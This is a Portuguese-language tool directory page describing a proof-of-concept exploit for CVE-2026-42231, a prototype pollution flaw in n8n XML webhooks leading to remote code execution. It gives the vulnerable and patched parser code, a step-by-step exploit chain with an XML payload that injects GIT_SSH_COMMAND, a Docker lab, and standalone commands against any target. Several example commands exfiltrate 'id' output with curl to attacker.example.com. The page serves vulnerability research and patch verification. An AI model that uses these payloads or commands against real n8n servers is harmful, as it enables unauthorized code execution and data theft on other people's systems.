Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42231 — Prova de conceito de exploração para CVE-2026-42231, uma vulnerabilidade crítica de poluição de protótipo em webhooks XML do n8n que leva à execução remota de código. Inclui laboratório Docker, PoC em Python e verificador em Node.js. | Kitploit
Ferramentas/GitHubGitHub/rudsarkar/cve-2026-42231
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança Web
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Prova de conceito de exploração para CVE-2026-42231, uma vulnerabilidade crítica de poluição de protótipo em webhooks XML do n8n que leva à execução remota de código. Inclui laboratório Docker, PoC em Python e verificador em Node.js.

Ver Repositório
16há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

GHSA-q5f4-99jv-pgg5 — Poluição de Protótipo em Webhook XML do n8n → RCE

CVE: CVE-2026-42231
Gravidade: Crítica (CVSS 10.0)
Afetados: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corrigido em: n8n 1.123.32 / 2.17.4 / 2.18.1


Resumo da Vulnerabilidade

packages/cli/src/middlewares/body-parser.ts cria um singleton xml2js Parser em nível de módulo sem tagNameProcessors ou attrNameProcessors. Isso permite que um atacante envie um corpo de webhook XML contendo um elemento <__proto__>.

xml2js 0.6.2 usa Object.defineProperty com um descritor de dados para definir chaves de elementos em objetos analisados. Como '__proto__' in obj é sempre true, assignOrPush() envolve o valor em um array e o armazena como uma propriedade de dados enumerável própria — contornando o accessor [[Set]] que normalmente atualizaria a cadeia de protótipos com segurança.

A propriedade própria __proto__ sobrevive ao JSON.stringify (executado quando o n8n persiste dados de execução no SQLite/PostgreSQL), e após JSON.parse no recarregamento, um Object.assign(target, reloadedBody) subsequente redireciona o protótipo de target para o objeto controlado pelo atacante.

Em workflows que também contêm um nó Git realizando uma operação SSH, o protótipo poluído expõe um valor spawnOptions / GIT_SSH_COMMAND ao createInstanceConfig do simple-git, permitindo execução de comandos em nível de sistema operacional.


Causa Raiz

// packages/cli/src/middlewares/body-parser.ts  (VULNERÁVEL — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // converte tags para minúsculas — mas NÃO bloqueia __proto__
    explicitArray: false,
    // ← SEM tagNameProcessors
    // ← SEM attrNameProcessors
});

Correção (>= 1.123.32):

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Cadeia de Exploração

1. O atacante envia um POST XML para um trigger de Webhook público:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. O parser de corpo xml2js cria req.body.root onde '__proto__' é uma
   PROPRIEDADE DE DADOS ENUMERÁVEL PRÓPRIA:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. O deepCopy() do n8n itera chaves próprias via for...in + hasOwnProp.
   A atribuição  clone['__proto__'] = deepCopy(attackerArray)
   substitui silenciosamente o protótipo de clone via o accessor [[Set]].

4. O n8n serializa dados de execução para o banco de dados:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   A chave __proto__ é incluída porque é própria e enumerável.
   Confirmado na tabela execution_data no SQLite.

5. No recarregamento, JSON.parse recria '__proto__' como uma propriedade de dados
   própria (objeto simples, sem envolvimento em array).
      Object.assign(gitOptions, reloadedBody)
   redireciona o protótipo de gitOptions para o objeto controlado pelo atacante.

6. Quando o nó Git chama simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   lê config.spawnOptions via a cadeia de protótipos → truthy →
   spawnOptionsPlugin é registrado.
   Com GIT_SSH_COMMAND no objeto env, o git executa o comando do
   atacante na próxima operação SSH.

Nota sobre normalizeTags

normalizeTags: true converte todas as tags XML para minúsculas, então elementos filhos como <GIT_SSH_COMMAND> tornam-se git_ssh_command no objeto analisado. Para preservar maiúsculas/minúsculas em nomes de variáveis de ambiente, use atributos XML (nomes de atributos não são normalizados por normalizeTags):

<env GIT_SSH_COMMAND="attacker_cmd"/>

Pré-requisitos

  1. Um trigger de Webhook público (Autenticação = Nenhuma, Content-Type = XML) deve existir em um workflow ativo.
  2. Para o caminho completo de RCE, o workflow também deve conter um nó Git realizando uma operação autenticada por SSH (clone / push via URL SSH).
  3. Versão do n8n < 1.123.32.

Configuração do Laboratório

Requisitos

  • Docker ≥ 24 com Compose v2
  • Python 3.9+ (para uso autônomo do PoC sem Docker)
  • Porta 5678 livre em localhost

Configuração em um comando

chmod +x exploit.sh
./exploit.sh setup

Isso baixa n8nio/n8n:1.123.22 (última versão afetada), constrói a imagem do atacante, inicia o alvo vulnerável em http://localhost:5678, cria e ativa um workflow de webhook automaticamente, e salva a URL do webhook em .webhook_state.


Passo a Passo do Exploit Completo

1. Configuração

./exploit.sh setup

Saída esperada (truncada):

[*] Baixando imagem vulnerável do n8n (1.123.22) ...
[*] Construindo imagem do atacante ...
[*] Iniciando alvo n8n vulnerável ...
[*] Aguardando o n8n ficar saudável ...
[*] Criando workflow de webhook (Webhook → nó Code) ...
[+] Laboratório pronto.

    Execute:  ./exploit.sh demo        # verificar a primitiva de poluição
              ./exploit.sh exploit     # entregar os três payloads de RCE

2. Verificar a primitiva de poluição (modo demo)

./exploit.sh demo

O PoC envia um payload de verificação e mostra o corpo analisado ecoado de volta do workflow do n8n. Uma instância vulnerável retorna:

[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Entregar payloads com intenção de RCE

./exploit.sh exploit
# ou com um comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Três payloads complementares são entregues:

PayloadTécnica
ATag <__proto__> — GIT_SSH_COMMAND como atributo XML
BCadeia <constructor><prototype>
C<__proto__> aninhado com atributos env

4. Observar o resultado (com nó Git no workflow)

  • No log de execução do n8n, procure pelo erro do comando git — ele incluirá a saída do seu GIT_SSH_COMMAND injetado se o RCE disparou.
  • No modo demo com o nó Code, o corpo da resposta do workflow conterá "step4_objectAssignPolluted": true confirmando a cadeia.

Uso Autônomo (sem Docker)

pip install -r requirements.txt

# Apenas verificação — sem necessidade de nó Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <caminho-do-webhook> \
    --demo

# Exploit completo — requer workflow com Webhook + nó Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <caminho-do-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Formato da URL do Webhook (n8n v1.123.x)

Em algumas implantações, o n8n registra o webhook como /webhook/<workflowId>/webhook/<caminho>. Se a forma curta /webhook/<caminho> retornar 404, passe o prefixo do workflow-ID como --target:

Baixar ferramenta